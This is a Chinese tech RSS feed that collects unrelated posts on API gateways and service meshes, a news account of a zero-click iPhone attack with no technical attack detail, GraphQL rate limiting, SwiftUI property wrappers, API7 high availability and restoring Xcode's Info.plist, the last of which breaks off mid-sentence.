RSS资讯

残月与满星的回答<br><br><p data-pid="K5YrGRZJ">送双拍我怕他会瞧不起。</p><p data-pid="DT2Gk_J4">送单拍我怕你会送不起。</p>

<p>在管理和保护<a href="https://www.apiseven.com/blog/why-do-microservices-need-an-api-gateway">微服务</a>架构方面，我们有几种可选的工具。其中，三种备受欢迎的选择是 Web 服务器、服务网格和 API 网关。每个工具都有其独特的功能和优势。在本文中，我们将深入研究这三种工具之间的差异，从而帮助你确定哪种最符合你所在组织的需求。</p> <h2>Web 服务器、服务网格、API 网关三者对比</h2> <h3>Web 服务器</h3> <p>Web 服务器是一种处理 HTTP 请求和响应的软件应用程序。它主要用于反向代理和负载平衡功能。反向代理是一种服务器，位于客户端和服务器之间，负责将客户端请求转发到适当的服务器。而负载平衡则是将流量分散到多个服务器上，以确保没有单个服务器被过度加载。</p> <p>Web 服务器通常用于处理静态内容，例如 HTML、CSS 和 JavaScript 文件，同时也可以用于处理动态内容，如 PHP、Python 和 Ruby on Rails 应用程序。它们易于设置，通过添加更多服务器到池中，可以实现水平扩展。</p> <p>其中最受欢迎的 Web 服务器之一是 <a href="https://www.apiseven.com/apisix-vs-nginx">NGINX</a>。NGINX 是一款轻量级、高性能的 Web 服务器，专门设计用于处理大量流量。许多高流量的网站，如 Netflix、Airbnb 和 GitHub，都在使用 NGINX。</p> <h3>服务网格</h3> <p><a href="https://www.apiseven.com/blog/what-is-service-mesh">服务网格</a>是一种专用基础架构层，用于管理微服务架构中的服务间通信。它被用于确保公司内部遗留服务的安全性和可观测性。服务网格通常由一组代理组成，这些代理被部署在每个服务实例旁边。</p> <p>服务网格提供多项优势，包括服务发现、负载平衡、流量路由和安全性。此外，它们还提供了一些可观测性功能，如跟踪、日志记录和指标。服务网格被设计成对应用代码透明，这意味着开发人员无需担心实现这些功能。</p> <p>其中一款备受欢迎的服务网格是 <a href="https://www.apiseven.com/blog/service-mesh">Istio</a>。Istio 是一个开源的服务网格，提供了一个统一的控制平面来管理服务间通信。它拥有诸多功能，包括流量管理、安全性和可观测性。</p> <h3>API 网关</h3> <p>API 网关是一种充当微服务架构入口点的服务器。主要用于 API 管理。API 网关提供了许多优势，包括身份验证、授权、速率限制和缓存。此外，它还为客户端提供了一个访问不同微服务的统一接口。</p> <p>API 网关通常用于管理外部 API，如 <a href="https://www.apiseven.com/blog/understanding-and-using-restful-apis">REST API</a> 和 <a href="https://www.apiseven.com/blog/deep-dive-into-graphql">GraphQL</a> API。同时，它们也可用于管理内部 API，比如 <a href="https://www.apiseven.com/blog/integration-with-grpc-web">gRPC</a> 和 <a href="https://www.apiseven.com/blog/integrate-kafka-with-apache-apisix">Kafka</a> API。API 网关设计得非常灵活，开发人员可以根据需要实现自己的业务逻辑并添加新功能。</p> <p>其中一款备受欢迎的 API 网关是 <a href="https://www.apiseven.com/apisix-vs-enterprise">Apache APISIX</a>。APISIX 是一款开源的 API 网关，提供了多项功能，包括服务发现、负载平衡、身份验证和速率限制。此外，它还具备插件系统，使开发人员能够向网关添加新功能。</p> <h2>选择合适的技术解决方案</h2> <p><img src="https://static.apiseven.com/uploads/2024/01/05/pBP0m6aD_webserver-cn.png" alt="web server vs service mesh vs api gateway" referrerpolicy="no-referrer"></p> <p>既然我们已经更深入地了解了 Web 服务器、服务网格和 API 网关之间的区别，究竟该如何选择呢？这取决于具体的用例和需求。</p> <p>如果您正在寻找一个简单的反向代理和负载平衡解决方案，像 <a href="https://www.apiseven.com/blog/why-we-need-apache-apisix">NGINX</a> 这样的 Web 服务器可能是最佳选择；如果您需要一个专用基础架构层来管理服务间通信，那么像 Istio 这样的<a href="https://www.apiseven.com/blog/service-grid-solution-based-on-apache-apisix">服务网格</a>可能是最佳选择；而如果您正在寻找微服务架构和 API 管理的入口点，那么像 Apache APISIX 这样的 API 网关可能是最佳选择。</p> <p>值得注意的是，这些工具并不是互斥的。您可以同时使用 Web 服务器、服务网格和 API 网关来实现所需的结果。例如，您可以使用 NGINX 作为反向代理和负载均衡器，Istio 作为内部通信的服务网格，以及 APISIX 作为外部 API 的 API 网关。</p> <h2>结论</h2> <p>总体而言，Web 服务器、服务网格和 API 网关都是我们在构建和保护微服务架构时的得力助手。每个工具都有其独到之处，各自带来了丰富的功能和优势。在做决策时，关键在于选择对你们具体用例和需求最贴切的工具。另外，在谋划微服务架构时，安全性和可观测性是构建坚固基础不可或缺的元素。</p>

<blockquote> <p>hi 大家好，我是 DHL。就职于美团、快手、小米。公众号：ByteCode，分享有用的原创文章，涉及鸿蒙、Android、Java、Kotlin、性能优化、大厂面经</p> </blockquote> <p>最近 iPhone 因为遭遇史上最复杂攻击，而登上了热搜，卡巴斯基的研究人员表示，黑客利用了 iPhone 极其隐蔽的软硬件漏洞，持续攻击了四年多，如果你收到了 iPhone 的安全补丁提示，那么赶快升级吧。</p> <p>OpenAI 科学家 Andrej Karpathy 惊讶地表示：这绝对是我们迄今为止所见过的最为复杂的攻击链。从本次攻击的复杂程度来看，一次黑客攻击同时使用 4 个零日漏洞（也就是未被发现且无有效防范措施的漏洞）是 "极其罕见的"，只有历史上著名的 "震网" 病毒攻击伊朗纳坦兹核工厂事件能达到这个级别（当时共利用 7 个漏洞，其中 4 个为零日漏洞）。</p> <p>这次黑客的攻击手段非常复杂，攻击者只需向用户的 iPhone 发送一段恶意 iMessage 文本，无需用户点击或下载任何内容，就可以在用户不知情的情况下，获取到 iPhone 的最高级别 Root 权限，这应该是利用 Mac 系统大概 10 年都没有修复的一个字体的漏洞。</p> <blockquote> <p>"iMessage 信息" 是苹果手机 "信息" 中的一种通信方式，可以向其他 iOS 设备、iPadOS 设备、Mac 电脑和 Apple Watch 发送文字、图片、视频和音乐等信息</p> </blockquote> <p>当获取到 iPhone 最高级别 Root 权限，攻击者将能够在 iPhone 上安装恶意软件（间谍软件），从而收集诸如联系人、消息和位置数据等敏感信息，并传输到攻击者控制的服务器。</p> <p>但是如果想成功利用这个漏洞，必须对 iPhone 最底层的机制有深入的了解，但是 iPhone 不是开源的系统，所以除了 iPhone 和 ARM 的人，几乎不会有其他人知道这个漏洞的存在。</p> <p>这次这个漏洞的攻击代码，粗估高达数万行代码，写的非常的精巧复杂，这么高价值的漏洞，不会对个人进行打击，应该是针对非常重要的人物。</p> <p>比如 2021 年 7 月，以色列发生了一起类似的事件，代号为 "飞马" 间谍软件攻击事件，它可以秘密安装在运行大多数版本的 iOS 和 Android 的手机（和其他设备） 上，这次的攻击持续了很多年，从 2014 年开始，一直持续到 2021 年 7 月媒体曝光之时，监听对象都是非常重要的人物。</p> <p>但是如果黑客将这次的攻击代码开源，那么很多人都可以利用这个漏洞为所欲为了，造成的结果就是无差别攻击，这样对我们普通人就危险了，<strong>如果你收到了 iPhone 的安全补丁提示，那么赶快升级，转发给身边的朋友，提高警惕吧</strong>。</p> <p>这些年来无论在 Android 还是 iPhone, 都发现了相应的漏洞，iPhone 号称史上最安全的操作系统，都出现了这么严重的漏洞，这也再次说明了，无论多好的软件系统，都有不可避免的漏洞，一定会被人攻击。</p> <p>比如在 2023 年 Android 手机上也被暴露一个漏洞，虽然这个漏洞很早被 Google 修复了，但是并不是所有人都会升级到新版本系统，所以某些大厂，利用这个被暴露出来漏洞，获取到 Android 手机上最高级别 Root 权限，攻击普通用户，控制他们的手机，获取用户大量的私人信息。而且这次攻击也持续了很多年，被曝光之时引起轩然大波，但是在其强大的财力和公关的操作下，事情很快平息了。</p> <p>我一直认为技术应该服务于用户，而不是想方设法的利用公开的漏洞窃听用户的私人信息，去推送一些定制化私人广告。</p> <p><strong>全文到这里就结束了，感谢你的阅读，坚持原创不易，欢迎在看、点赞、分享给身边的小伙伴，我会持续分享原创干货！！！</strong></p> <hr> <p><strong>Hi 大家好，我是 DHL，就职于美团、快手、小米。公众号：ByteCode ，分享有用的原创文章，涉及鸿蒙、Android、Java、Kotlin、性能优化、大厂面经，真诚推荐你关注我。</strong></p> <ul> <li><a href="https://mp.weixin.qq.com/mp/homepage?__biz=MzAwNDgwMzU4Mw==&amp;hid=9&amp;sn=e90937096f96a747c08e27ab7a79545c&amp;scene=1&amp;devicetype=android-30&amp;version=28001c57&amp;lang=zh_CN&amp;nettype=WIFI&amp;ascene=7&amp;session_us=gh_d4a2dd00574d&amp;wx_header=3">公众号：ByteCode</a></li> <li><a href="https://space.bilibili.com/498153238">哔哩哔哩</a>： https://space.bilibili.com/498153238</li> <li><a href="https://juejin.im/user/2594503168898744">掘金</a>： https://juejin.im/user/2594503168898744</li> <li><a href="https://hi-dhl.com/">博客</a>： https://hi-dhl.com</li> <li><a href="https://github.com/hi-dhl">Github</a>： https://github.com/hi-dhl</li> </ul> <hr> <p><strong>最新文章</strong></p> <ul> <li><a href="https://mp.weixin.qq.com/s/FiNFN7-dVHxHgfuMAgwpeA">鸿蒙，流氓软件的终结者</a></li> <li><a href="https://mp.weixin.qq.com/s/dUC0mcP0ytyjWrzZCBbg_g">使用 14 年的 API 被下线了</a></li> <li><a href="https://mp.weixin.qq.com/s/ue0a4QgdVDKR7jmJGzpt_w">Android 14 彻底终结大厂流氓应用</a></li> <li><a href="https://mp.weixin.qq.com/s/G_4fBHFOM84_ZSz0-y61Jw">适配 Android 14，功能和权限的变更，你的应用受影响了吗</a></li> <li><a href="https://mp.weixin.qq.com/s/a_h6jIXvY5st6VDPCivHQg">Android 14 新增权限</a></li> <li><a href="https://mp.weixin.qq.com/s/t_E6kOU2jTJ82pcJ7ZkdMA">Android 13这些权限废弃，你的应用受影响了吗？</a></li> <li><a href="https://mp.weixin.qq.com/s/NuqAYoUq_0OorM1rVHUEHA">Android 12 已来，你的 App 崩溃了吗？</a></li> <li><a href="https://mp.weixin.qq.com/s/oN4CTWCnEWSc2yf2BG6dew">国外大厂面试题， 7 个 Android Lifecycle 重要的知识点</a></li> <li><a href="https://mp.weixin.qq.com/s/jRlrtnOg6Ww-C_Xb6719EA">Android 利器，我开发了云同步编译工具</a></li> <li><a href="https://mp.weixin.qq.com/s/ExxJMyYZP3sd9pnvdiEFAg">Twitter 上有趣的代码</a></li> <li><a href="https://mp.weixin.qq.com/s/QZ6zZ6GoNpB5MWGi31k-UA">谁动了我的内存，揭秘 OOM 崩溃下降 90% 的秘密</a></li> <li><a href="https://mp.weixin.qq.com/s/AgEr6GhylkUfG_zWE5LTOw">反射技巧让你的性能提升 N 倍</a></li> <li><a href="https://mp.weixin.qq.com/s/brNq5OxitQ7WhPbA9y5lrA">90%人不懂的泛型局限性，泛型擦除，星投影</a></li> <li><a href="https://mp.weixin.qq.com/s/Ah8Yau_UW07s6LnGjrG4hA">揭秘反射真的很耗时吗，射 10 万次耗时多久</a></li> <li><a href="https://mp.weixin.qq.com/s/fp1ZOmqAcEBv2f7ec1r-zw">Google 宣布废弃 LiveData.observe 方法</a></li> <li><a href="https://mp.weixin.qq.com/s/8dAbt1-mcCVLWLXKC-1_xw">影响性能的 Kotlin 代码（一）</a></li> <li><a href="https://mp.weixin.qq.com/s/sYj_-wqENr9Jaw1p8iP4Jg">揭秘 Kotlin 中的 == 和 ===</a></li> </ul> <hr> <p><strong>开源新项目</strong></p> <ul> <li> <p>云同步编译工具（SyncKit），本地写代码，远程编译，欢迎前去查看 <a href="https://github.com/hi-dhl/SyncKit">SyncKit</a></p> </li> <li> <p>KtKit 小巧而实用，用 Kotlin 语言编写的工具库，欢迎前去查看 <a href="https://github.com/hi-dhl/KtKit">KtKit</a></p> </li> <li> <p>最全、最新的 AndroidX Jetpack 相关组件的实战项目以及相关组件原理分析文章，正在逐渐增加 Jetpack 新成员，仓库持续更新，欢迎前去查看 <a href="https://github.com/hi-dhl/AndroidX-Jetpack-Practice">AndroidX-Jetpack-Practice</a></p> </li> <li> <p>LeetCode / 剑指 offer，包含多种解题思路、时间复杂度、空间复杂度分析，<a href="https://leetcode.hi-dhl.com/">在线阅读</a></p> </li> </ul>

<p>在 <a href="https://www.apiseven.com/blog/understanding-and-using-restful-apis">REST API</a> 上实施速率限制相对较为简单，因为我们通常使用 URI 路径表示特定的 API 资源，并通过 HTTP 方法表示对资源的操作，代理层可以根据这些信息轻松执行预先设定的速率限制规则。然而，对于 <a href="https://www.apiseven.com/blog/deep-dive-into-graphql">GraphQL</a> API 来说，情况就复杂得多，接下来我们将探讨如何克服这些挑战。</p> <h2>简单场景</h2> <p>与 REST API 不同，<a href="https://www.apiseven.com/blog/what-is-graphql">GraphQL</a> 使用专有的查询语言，不再通过路径和 HTTP method 获取和操作资源，而是将数据查询与操作统一为 Query 查询 和 Mutation 突变，其中 Query 用于获取数据，Mutation 用于操作数据，例如创建更新和删除。</p> <pre><code>GET /users GET /users/1 POST /users PUT /users/1 DELETE /users/1 query { users { fullName } } query { user(id: 1) { fullName } } mutation { createUser(user: { lastName: "Jack" }) { id, fullName } } mutation { updateUser (id: 1, update: { lastName: "Marry" }) { fullName } } mutation { deleteUser (id: 1) } </code></pre> <p>上述例子对比了两种 API 查询方法的变化。相比于 REST，GraphQL 更像是在调用资源上的函数并传入所需的输入参数，在响应中会包含查询的数据。而除了查询方法上的不同，调用方式也有差别，GraphQL 暴露的 API 通常通过单一端点暴露（例如 /graphql），查询和输入参数则通过 POST body 发送。</p> <p>举个例子：</p> <pre><code>query { users { fullName } photos { url uploadAt } } </code></pre> <p>在上述例子中，我们模拟一个相册的主页场景，向 /graphql 端点发送一个 API 调用以同时查询用户列表和照片列表。思考一下，传统的反向代理以请求维度执行的策略是否仍然适用于 GraphQL API？</p> <p>答案是不能。传统的反向代理服务器实际上无法深入处理包含查询本身的 GraphQL API 调用，因此无法对 API 调用执行策略，例如速率限制。对于 GraphQL API 来说，“HTTP 请求”的粒度显得过于粗糙。</p> <p>然而，API 网关 Apache APISIX 内置了对 GraphQL to HTTP 能力的支持。管理员可以通过预先配置一个查询语句，使得客户端可以直接通过 HTTP POST 调用它，无需了解 GraphQL 的细节，只需提供所需的输入参数。这不仅有助于安全性，同时也意味着可以在这里应用在 HTTP API 上的策略。</p> <p><img src="https://static.apiseven.com/uploads/2024/01/04/PUGerVdJ_ratee-limiting-1.jpg" alt="rate-limiting" referrerpolicy="no-referrer"></p> <p>实际上，这将动态查询的 GraphQL 转化为由 API 提供者的知识驱动的静态查询，这既有利有弊。有时候，我们可能不希望牺牲 GraphQL 动态查询的特性，让我们继续其他场景的讨论。</p> <h2>复杂场景</h2> <p>GraphQL 使用其专有的语言进行数据建模和 API 描述，它的数据模型允许嵌套。扩展上面的例子：</p> <pre><code>query { photos(first: 10) { url uploadAt publisher { fullName avatar } comments(first: 10) { content sender { fullName avatar } } } // users... } </code></pre> <p>在这个案例中，我们模拟获取照片列表的前 10 条照片数据，包括每张照片的发布者以及每张照片的前 10 条评论及其发送者。这意味着对于后端服务而言，将涉及查询多个数据库表或调用微服务。在这样的嵌套查询场景中，随着查询到的数据数量和嵌套层数的增加，对后端服务和数据库的计算压力将呈指数级上升。</p> <p>为了防止复杂的查询拖垮服务，我们可能希望在代理层进行检查并阻止这些复杂查询。要应用这样的策略，代理组件必须能够解析查询语句为结构化数据，并遍历以获取查询中包含的嵌套及每层查询的字段。按照 GraphQL 的常见做法，我们可以为字段分配复杂度值，作为查询成本，并在全局层面限制总体查询的复杂度。对于上述查询，我们可以计算每个单一字段的成本假设为 1：</p> <pre><code>10 * photo (url + uploadAt + publisher.fullName + publisher.avatar + 10 * comment (content + sender.fullName + sender.avatar)) 10 * (1 + 1 + 1 + 1 + 10 * (1 + 1 + 1)) = 340 </code></pre> <p>总查询成本为 340，看起来是可以接受的，我们可以按照这样的规则为 API 配置查询成本上限。</p> <p>但是，如果有一个恶意客户端尝试一次性获取 100 张照片的数据，查询成本将大幅上升至 3400，超过预先设定的限额，请求将被拒绝。</p> <p>除了限制客户端的单次查询最大成本，我们还可以为其附加时间范围上的限制，比如允许客户每一分钟进行总量为 2000 的查询并拒绝多出的部分，这可以阻挡恶意爬虫。</p> <p>为了实现这样的能力，代理组件必须解析并计算查询成本。API7 企业版支持这样的能力，它可以实现 GraphQL 查询动态解析并按照配置实现对用户的<a href="https://www.apiseven.com/resources/apache-con-asia-2021/Speed-Limiting-With-Apache-APISIX">速率限制</a>。</p> <p>GraphQL API 在代理层面面临的挑战是，传统的反向代理无法有效感知和处理 GraphQL 查询语句中的复杂性和嵌套关系，而 API 网关的技术可以帮助我们克服这些挑战。</p>

<h2>@Published</h2> <p>@Published 是 SwiftUI 中的属性包装器之一，它允许我们创建可观察的对象，并且在发生更改时触发视图重绘。我们经常将@Published与ObservableObject协议结合使用。</p> <p>SwiftUI 会自动监视此类更改，<code>body</code>里面依赖于该属性的数据的任何视图将重新调用已达到更新视图的目的。</p> <p>实际上，这意味着每当标记<code>@Published</code>属性的对象发生更改时，使用该对象的所有视图都将重新更新以体现这些更改。</p> <pre><code>class ArticleViewModel: ObservableObject { @Published var title: String = "An example title" } struct ArticleView: View { @StateObject private var article = ArticleViewModel() var body: some View { Text("provider value: (article.title)") } } </code></pre> <p>这符合<code>ObservableObject</code>协议，这意味着 SwiftUI 的视图可以观察它的变化。</p> <pre><code>class ArticleViewModel: ObservableObject { var title: String = "An example title" } struct ArticleView: View { @StateObject private var article = ArticleViewModel() var body: some View { Text("provider value: (article.title)") } } </code></pre> <p>因为ArticleViewModel唯一的属性没有标记为<code>@Published</code>，所以不会发送任何更改的通知。这意味着数据已经发生了变更，但是不会更新任何视图。</p> <p>注意事项： 包装器是类约束的，这意味着您只能在类的实例上使用它。在结构体内部使用时会出现错误： <img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/337e7edcaab94240b0d17861dfa5b71d~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=1024&amp;h=153&amp;s=23365&amp;e=png&amp;b=2b2b31" alt="@Published 属性包装器是类约束的，并且仅适用于类的属性。" referrerpolicy="no-referrer"></p> <blockquote> <p>@Published 属性包装器是类约束的，并且仅适用于类的属性。</p> <p>@Published 属性包装器的包装值表示属性的实际值：</p> </blockquote> <h3>为什么 willSet 而不是 didSet？</h3> <p><code>@Published</code>属性包装器有效地将<code>title</code>属性观察器添加到<code>willSet</code>，以便任何更改都会自动发送给观察者。</p> <p>SwiftUI 需要在旧状态和新状态之间进行比较，以决定是否需要重新渲染视图。为此，需要有旧状态的引用，这就是@Published使用 willSet 的原因。</p> <h3>objectWillChange</h3> <p><code>ObservableObject</code>是一种特殊的协议，它将合成了一个<code>objectWillChange</code>发布者，当其包含的任何 @Published 属性发生更改时，该发布者会发出消息。</p> <pre><code>let viewModel = ArticleViewModel() viewModel.objectWillChange.sink { _ in print("Articles view model changed!") } viewModel.title = "@Published explained" // Prints: // Articles view model changed! </code></pre> <p>SwiftUI Published使用<code>objectWillChange</code>重绘其视图以响应任何更改。</p> <h2>@StateObject</h2> <p><code>@StateObject</code>属性包装器与类似<code>@State</code>，只不过它适用于<code>ObservableObject</code>。一个<code>ObservableObject</code>始终是引用类型 (<code>class</code>)，并且每当其<code>@Published</code>属性之一发生更改时都会通知。</p> <pre><code>class DataProvider: ObservableObject { @Published var currentValue = "a value" } struct DataOwnerView: View { @StateObject private var provider = DataProvider() var body: some View { Text("provider value: (provider.currentValue)") } } </code></pre> <p>代码解释： <code>DataOwnerView</code>创建了一个<code>DataProvider</code>的实例。每当值发生<code>DataProvider.currentValue</code>变化时，<code>DataOwnerView</code>就会重新渲染。每当 SwiftUI 决定放弃并重新创建<code>DataOwnerView</code>新的渲染时，SwiftUI 都会保留最初创建<code>DataProvider</code>的实例。这意味着<code>@StateObject</code>仅初始化<strong>一次</strong>。</p> <p>换句话说，标记为<code>@StateObject</code>的属性就会保留其最初分配的实例，即使 SwiftUI 重新创建了结构体。 这与您在<code>@State</code>中看到的行为相同，只不过它应用于一个<code>ObservableObject</code>的类型而不是一个<code>struct</code>值类型。</p> <p>注意事项</p> <blockquote> <ul> <li>响应<code>ObservableObject</code>的类型.</li> <li>正在使用<code>@StateObject</code>的视图创建其自身的实例。</li> </ul> </blockquote> <h2>@ObservedObject</h2> <p>SwiftUI 为我们提供了<code>@ObservedObject</code>属性包装器，以便视图可以观察外部对象的状态，并在重要内容发生变化时收到通知。</p> <p><code>@ObservedObject</code>属性包装器 类似<code>@Binding</code>类似，<code>@ObservedObject</code>也是仅使用从其他地方传入的视图，</p> <pre><code>struct DataOwnerView: View { @StateObject private var provider = DataProvider() var body: some View { VStack { Text("provider value: (provider.currentValue)") DataUserView(provider: provider) } } } struct DataUserView: View { @ObservedObject var provider: DataProvider var body: some View { // create body and use / modify `provider` } } </code></pre> <p>注意事项：</p> <blockquote> <ul> <li>响应<code>ObservedObject</code>.</li> <li>视图不会创建其自身的<code>ObservedObject</code>实例。（如果是这样，您需要一个<code>@StateObject</code>）</li> </ul> </blockquote>

<p>在与客户沟通的过程中，客户经常提出一个公共问题：“你们的解决方案是否支持高可用性？如何支持高可用性？”简而言之，当讨论高可用性架构时，<a href="https://www.apiseven.com/enterprise">API7 解决方案</a>是一种值得考虑的选择。原因在于，它提供了一系列旨在确保系统在各种情况下，不论是 99.99% 还是 99.999% 的情况下，均能保障 API 服务的高可用特性。</p> <p>在企业业务中，API 服务的高可用性尤为关键，因为它直接关系到客户的连续性和可靠性。为何高可用性对 B2B 业务至关重要呢？因为作为关键指标，如果 API 服务在关键时刻中断或发生故障，将会严重影响客户业务，不仅导致损失，还可能损害客户的声誉和信誉。</p> <p>高可用性不仅仅是技术层面的问题，更是一项业务策略，可以赢得客户信任和业务。那么 API7 解决方案的高可用性是如何实现的呢？它如何确保高可用性呢？</p> <p>首先，关键在于控制平面的高可用性。API7 解决方案的控制平面是 API 配置和管理的核心，采用无状态设计。这意味着控制平面的各个组件可以快速启动新的实例，以替代可能失败的组件。这种无状态设计提高了系统弹性，即使在组件故障的情况下，系统也能继续提供服务。另一个重要的决策是将 <a href="https://www.apiseven.com/blog/etcd-vs-postgresql">PostgreSQL</a> 作为默认的配置中心，而不是 APISIX 选择的 etcd。这是因为在运维 etcd 时，企业可能会面临新的挑战，而 PostgreSQL 是一种更为熟悉和可维护的数据库系统。PostgreSQL 是 API7 解决方案中唯一有状态的组件，其他组件都是无状态的。此外，PostgreSQL 提供了成熟的高可用性解决方案，包括主从备份和多主备份，确保即使配置中心的主节点发生故障，备用节点也能快速接管，确保配置的可用性。</p> <p><img src="https://static.apiseven.com/uploads/2024/01/04/X09l8GGo_9CQ3CjOTEX.jpg" alt="High Availability of API7 Enterprise" referrerpolicy="no-referrer"></p> <p>其次，数据平面的高可用性也至关重要。数据平面是处理实际业务流量的地方，构建在 <a href="https://www.apiseven.com/apisix-vs-enterprise">APISIX</a> 之上，继承了 APISIX 的许多特性。与控制平面类似，数据平面的组件也是无状态的，这使得它们能够轻松地横向扩容和缩容，以适应流量的变化。无论是在流量突发高峰时需要扩展实例，还是在某个节点失效时需要迅速将其摘除，数据平面都能够应对，确保服务的连续性。另一个重要的优势是数据平面与控制平面是分离的，任何一个组件的异常都不会影响到彼此。此外，数据平面在启动后会将控制平面的配置保存到内存中，避免了每次处理请求时都需要从控制平面获取配置，提高性能和响应速度；也确保了在控制平面异常时，数据面能够继续服务后续的请求。</p> <p>高可用性架构的部署方式适用于 API7，并可在各种环境和场景中实现。例如，通过 Docker 或在<a href="https://www.apiseven.com/solutions/vm-to-kubernetes">虚拟机</a>中部署时，通常会在流量入口设置负载均衡器，例如 AWS 的负载均衡器或者 LVS，并结合健康检查机制，这允许在组件失效时触发自动的策略，将失效的组件摘除并启动新的实例。另一种常见的部署方式是在 Kubernetes 中，利用 Kubernetes 自身的健康检查策略来管理服务的高可用性。Kubernetes 可以自动检测并替换失败的 Pod，确保系统的稳定性。</p> <p>高可用性带来的好处不仅仅是提供连续的服务，还可以提升客户的最终满意度，避免业务中断，提高竞争力，降低维护成本。尽管实现高可用性可能需要一些额外的投资，但它可以降低维护成本，因为系统在发生故障时能够快速恢复，继续处理业务流量。</p> <p>总的来说，API7 解决方案的高可用性架构是一个综合的设计，通过控制平面和数据平面的分离，无状态组件的快速启动和横向扩展，以及灵活的部署方式，确保了系统能够在各种情况下持续提供可用的 API 服务。这些特性使得 API7 解决方案成为一个坚韧、灵活、可靠的系统，能够满足企业客户对 API 服务高可用性的高要求。</p> <p>高可用性不仅仅是技术上的考量，更是一项业务策略，可以增强客户关系、提高竞争力，为企业带来更多的机会和成功。因此，API7 解决方案的高可用性是一项不可或缺的能力，为 B2B 客户提供了可信赖的 API 管理工具，确保他们的业务能够正常运行，不受中断的影响。</p>

<p><strong>这里每天分享一个 iOS 的新知识，快来关注我吧</strong></p> <h3>前言</h3> <p>做 iOS 开发的同学应该对 <code>info.plist</code> 文件都不陌生，其中包含了大量关于项目配置的选项。但是从 Xcode 13 开始，新项目中已经不包含 <code>info.plist</code> 文件了。</p> <p>这个在 Xcode 13 的发行说明中也有提到：</p> <blockquote> <p>Projects created from several templates no longer require configuration files such as entitlements and Info.plist files. Configure common fields in the target’s Info tab, and build settings in the project editor.</p> </blockquote> <p>我试了一下，如果创建的是 SwiftUI 项目，新项目的目录中已经完全不包含 这个文件了：</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/228c5c5f67d54226b2897e51b5da862d~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=511&amp;s=141042&amp;e=png&amp;b=292a2f" alt="" referrerpolicy="no-referrer"></p> <p>如果创建的是 <code>storyboard</code> UIKit 项目，info.plist 还在，只不过其中只有 <code>Application Scene Manifest</code> 字段。</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5ae06c1aa1274e8cac3c2fd3a430f76b~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=267&amp;s=61647&amp;e=png&amp;b=2d2522" alt="" referrerpolicy="no-referrer"></p> <h3>更改 info.plist</h3> <p>虽然创建工程的时候不自带 info.plist 文件了，但是我们仍然可以像以前一样更改这个文件：</p> <p>按照顺序导航到 <code>Project → Targets → Info → Custom iOS Target Properties</code>，可以看到这个文件的预览页面：</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/c2c45e5a0b764dd4a88ee44d8e955e22~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=337&amp;s=115115&amp;e=png&amp;b=2d2421" alt="" referrerpolicy="no-referrer"></p> <p>然后就可以在这里对 <code>info.plist</code> 文件进行更改了，其中有一点很奇怪的是，在这里的修改有的会同步到 <code>info.plist</code> 文件中，有的则不会，这个还没弄清楚原因，不过大家以后如果有修改这个文件的需求最好是通过 <code>Targets</code> 下的 <code>info</code> 栏修改。</p> <h3>恢复 info.plist 文件？</h3> <p>某些情况下（比如自动化脚本）会读取 <code>info.plist</code> 文件，如果没有这个文件的话就会比较麻烦，那么有没有可能恢复这个文件呢？下边有个办法可以尝试一下。</p> <h3>1、创建一个新的 info.plist 文件</h3> <p>这里假设你的新项目是 swiftUI 项目，如果是 <code>storyboard</code> UIKit 项目就不用再创建新的了。按快捷键 <code>Command + N</code> 创建一个新的 <code>Property List</code> 文件，并命名为 <code>Info.plist</code>：</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fb91ad9930a74f8bac1a902f7b108810~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=513&amp;s=46782&amp;e=png&amp;b=2b211f" alt="" referrerpolicy="no-referrer"></p> <h3>2、把 Target info 下的属性全部复制到新的 Info.plist 文件中</h3> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/513f49bbf93841f8a8eadaef2d5cf983~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=320&amp;s=127797&amp;e=png&amp;b=2c231f" alt="" referrerpolicy="no-referrer"></p> <p>没有找到能够全选的方法，只能一个一个复制粘贴了。</p> <h3>3、设置路径</h3> <p>选中新的 <code>info.plist</code> 文件，右侧可以看到这个文件的路径，复制它。</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/18bf55a0272b4a41b7d7dd598bdbd6b1~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=307&amp;s=86081&amp;e=png&amp;b=302723" alt="" referrerpolicy="no-referrer"></p> <p>然后来到 <code>Project → Targets → Build Settings → Info.plist File</code>，把刚刚复制的路径粘贴进去：</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/876b5503d3284822820de38ac282dfc1~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=434&amp;s=106391&amp;e=png&amp;b=2b2321" alt="" referrerpolicy="no-referrer"></p> <h3>4、其他设置</h3> <p>除了上边的设置之外，还需要把 <code>Generate Info.plist File</code> 选项设置为 No：</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/4b326dfff2e94646b349a183b44ba44e~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=419&amp;s=100743&amp;e=png&amp;b=2b221e" alt="" referrerpolicy="no-referrer"></p> <p>然后来到 Build Phases 下的 Copy Bundle Resources 中，把 Info.plist 删除掉。</p> <p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3b0a086253824e8094ee047c7cd96039~tplv-k3u1fbpfcp-jj-mark:0:0:0:0:q75.image#?w=720&amp;h=390&amp;s=83701&amp;e=png&amp;b=2c231f" alt="" referrerpolicy="no-referrer"></p> <p>最后尝试编译一下，上边的步骤不出错的话会成功编译，然后可以通过新建的 <code>Info.plist</code> 文件修改一些属性，运行项目看看改动是否生效。至此，老的 <code>Info.plist</code> 